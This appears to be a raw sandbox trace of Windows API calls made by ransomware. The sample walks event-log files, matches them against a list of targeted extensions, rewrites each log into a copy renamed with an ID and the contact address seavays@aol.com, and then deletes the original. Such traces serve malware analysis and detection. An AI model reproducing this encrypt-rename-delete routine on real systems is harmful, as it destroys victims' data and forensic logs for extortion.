lstrlenW (lpString=".bz2") returned 4 [0065.744] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString=".7z") returned 3 [0065.744] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.744] lstrlenW (lpString=".dbf") returned 4 [0065.744] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString=".1cd") returned 4 [0065.745] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString=".jpg") returned 4 [0065.745] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString=".doc") returned 4 [0065.745] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".docx") returned 5 [0065.745] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.745] lstrlenW (lpString=".pdf") returned 4 [0065.745] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".xls") returned 4 [0065.745] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".xlsx") returned 5 [0065.745] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.745] lstrlenW (lpString=".ppt") returned 4 [0065.745] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString=".zip") returned 4 [0065.745] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".rar") returned 4 [0065.745] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".bz2") returned 4 [0065.745] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.745] lstrlenW (lpString=".7z") returned 3 [0065.745] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.745] lstrlenW (lpString=".dbf") returned 4 [0065.746] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.746] lstrlenW (lpString=".1cd") returned 4 [0065.746] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.746] lstrlenW (lpString=".jpg") returned 4 [0065.746] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.746] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.746] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0065.746] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.746] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.746] CloseHandle (hObject=0x34c) returned 1 [0065.746] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0065.747] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.747] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.747] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.747] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.747] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.762] GetLastError () returned 0x0 [0065.762] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.930] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.932] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.932] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x144, lpOverlapped=0x0) returned 1 [0065.933] SetEndOfFile (hFile=0x38c) returned 1 [0066.098] CloseHandle (hObject=0x38c) returned 1 [0066.101] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.101] SetEndOfFile (hFile=0x34c) returned 1 [0066.102] CloseHandle (hObject=0x34c) returned 1 [0066.102] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.102] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0066.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.103] lstrlenW (lpString=".doc") returned 4 [0066.103] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".docx") returned 5 [0066.103] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.103] lstrlenW (lpString=".pdf") returned 4 [0066.103] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".xls") returned 4 [0066.103] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".xlsx") returned 5 [0066.103] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.103] lstrlenW (lpString=".ppt") returned 4 [0066.103] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.103] lstrlenW (lpString=".zip") returned 4 [0066.103] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".rar") returned 4 [0066.103] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".bz2") returned 4 [0066.103] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString=".7z") returned 3 [0066.103] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.103] lstrlenW (lpString=".dbf") returned 4 [0066.103] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.103] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString=".1cd") returned 4 [0066.104] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString=".jpg") returned 4 [0066.104] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString=".doc") returned 4 [0066.104] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".docx") returned 5 [0066.104] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.104] lstrlenW (lpString=".pdf") returned 4 [0066.104] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".xls") returned 4 [0066.104] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".xlsx") returned 5 [0066.104] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.104] lstrlenW (lpString=".ppt") returned 4 [0066.104] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString=".zip") returned 4 [0066.104] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".rar") returned 4 [0066.104] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".bz2") returned 4 [0066.104] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString=".7z") returned 3 [0066.104] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.104] lstrlenW (lpString=".dbf") returned 4 [0066.104] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.105] lstrlenW (lpString=".1cd") returned 4 [0066.105] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0066.105] lstrlenW (lpString=".jpg") returned 4 [0066.105] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.105] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.105] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0066.105] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0066.106] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1052672) returned 1 [0066.106] CloseHandle (hObject=0x34c) returned 1 [0066.106] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0066.106] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.896] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0066.896] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.896] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0066.896] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0066.898] GetLastError () returned 0x0 [0066.898] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0066.931] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0067.411] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x1010, lpOverlapped=0x0) returned 1 [0067.422] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1020, lpOverlapped=0x0) returned 1 [0067.427] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.427] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x164, lpOverlapped=0x0) returned 1 [0067.427] SetEndOfFile (hFile=0x34c) returned 1 [0067.427] CloseHandle (hObject=0x34c) returned 1 [0067.936] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.936] SetEndOfFile (hFile=0x2f8) returned 1 [0067.937] CloseHandle (hObject=0x2f8) returned 1 [0067.937] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0067.937] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0067.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".doc") returned 4 [0067.938] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".docx") returned 5 [0067.938] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.938] lstrlenW (lpString=".pdf") returned 4 [0067.938] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".xls") returned 4 [0067.938] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".xlsx") returned 5 [0067.938] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.938] lstrlenW (lpString=".ppt") returned 4 [0067.938] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".zip") returned 4 [0067.938] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".rar") returned 4 [0067.938] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".bz2") returned 4 [0067.938] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString=".7z") returned 3 [0067.938] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".dbf") returned 4 [0067.938] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".1cd") returned 4 [0067.938] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".jpg") returned 4 [0067.938] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.938] lstrlenW (lpString=".doc") returned 4 [0067.939] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".docx") returned 5 [0067.939] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.939] lstrlenW (lpString=".pdf") returned 4 [0067.939] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".xls") returned 4 [0067.939] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".xlsx") returned 5 [0067.939] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.939] lstrlenW (lpString=".ppt") returned 4 [0067.939] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.939] lstrlenW (lpString=".zip") returned 4 [0067.939] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".rar") returned 4 [0067.939] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".bz2") returned 4 [0067.939] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString=".7z") returned 3 [0067.939] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.939] lstrlenW (lpString=".dbf") returned 4 [0067.939] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.939] lstrlenW (lpString=".1cd") returned 4 [0067.939] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.939] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0067.939] lstrlenW (lpString=".jpg") returned 4 [0067.939] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.939] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0067.940] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0067.940] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0067.940] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0067.940] CloseHandle (hObject=0x2f8) returned 1 [0067.940] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0067.940] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0067.940] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0067.941] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.941] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.941] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0067.941] GetLastError () returned 0x0 [0067.941] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0067.945] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0067.947] ReadFile (in: hFile=0x2f8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0067.947] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x102, lpOverlapped=0x0) returned 1 [0067.947] SetEndOfFile (hFile=0x34c) returned 1 [0067.947] CloseHandle (hObject=0x34c) returned 1 [0067.950] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0067.950] SetEndOfFile (hFile=0x2f8) returned 1 [0067.951] CloseHandle (hObject=0x2f8) returned 1 [0067.952] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0067.952] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0067.953] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.953] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.953] lstrlenW (lpString=".doc") returned 4 [0067.953] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString=".docx") returned 5 [0067.953] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.953] lstrlenW (lpString=".pdf") returned 4 [0067.953] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString=".xls") returned 4 [0067.953] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString=".xlsx") returned 5 [0067.953] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.953] lstrlenW (lpString=".ppt") returned 4 [0067.953] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.953] lstrlenW (lpString=".zip") returned 4 [0067.953] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString=".rar") returned 4 [0067.953] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.953] lstrlenW (lpString=".bz2") returned 4 [0067.953] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString=".7z") returned 3 [0067.954] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.954] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.954] lstrlenW (lpString=".dbf") returned 4 [0067.954] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.954] lstrlenW (lpString=".1cd") returned 4 [0067.954] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.954] lstrlenW (lpString=".jpg") returned 4 [0067.954] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.954] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0067.954] lstrlenW (lpString=".doc") returned 4 [0067.954] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString=".docx") returned 5 [0067.954] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.954] lstrlenW (lpString=".pdf") returned 4 [0067.954] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString=".xls") returned 4 [0067.954] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.954] lstrlenW (lpString=".xlsx") returned 5 